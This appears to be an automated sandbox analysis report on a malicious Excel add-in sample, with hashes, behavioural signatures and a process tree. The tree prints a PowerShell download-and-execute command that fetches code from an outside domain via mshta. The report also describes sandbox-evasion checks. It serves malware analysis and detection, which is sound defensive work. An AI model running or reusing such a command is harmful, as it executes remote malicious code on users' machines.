Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 19:19
Static task
static1
Behavioral task
behavioral1
Sample
0fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
0fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678.xll
Resource
win11-20240426-en
General
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Target
0fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678.xll
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Size
12KB
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MD5
009e0d9c56b240aa90bbb605db9b7aba
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SHA1
001b10c580b2dd8d6ab6755ee0bc1101e39e427b
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SHA256
0fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678
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SHA512
063f3a8fde1ab9abbf9f963eaf0f56bacc4524fbf344fcc911406cd263e3cb8e8052a0247426f9d8ee224a3c09ba75e59153e931d4f9f07334d5b5d7c88b7282
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SSDEEP
192:oL29RBzDzeobchBj8JONfONJOruNrEPEjr7AhQ:m29jnbcvYJOk7KuNvr7CQ
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2084 348 mshta.exe 83 -
Blocklisted process makes network request 1 IoCs
flow pid Process 32 1592 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
pid Process 348 EXCEL.EXE 348 EXCEL.EXE -
pid Process 1592 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 348 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1592 powershell.exe 1592 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1592 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
pid Process 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE 348 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 348 wrote to memory of 2084 348 EXCEL.EXE 87 PID 348 wrote to memory of 2084 348 EXCEL.EXE 87 PID 348 wrote to memory of 2084 348 EXCEL.EXE 87 PID 2084 wrote to memory of 1592 2084 mshta.exe 89 PID 2084 wrote to memory of 1592 2084 mshta.exe 89 PID 2084 wrote to memory of 1592 2084 mshta.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:348 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2084 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1592
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\0fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678.xll
Filesize12KB
MD5009e0d9c56b240aa90bbb605db9b7aba
SHA1001b10c580b2dd8d6ab6755ee0bc1101e39e427b
SHA2560fcb5cc23cd3843623e47bf51937599d75bb1a8be7dc72fefe12ee8a0045d678
SHA512063f3a8fde1ab9abbf9f963eaf0f56bacc4524fbf344fcc911406cd263e3cb8e8052a0247426f9d8ee224a3c09ba75e59153e931d4f9f07334d5b5d7c88b7282
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82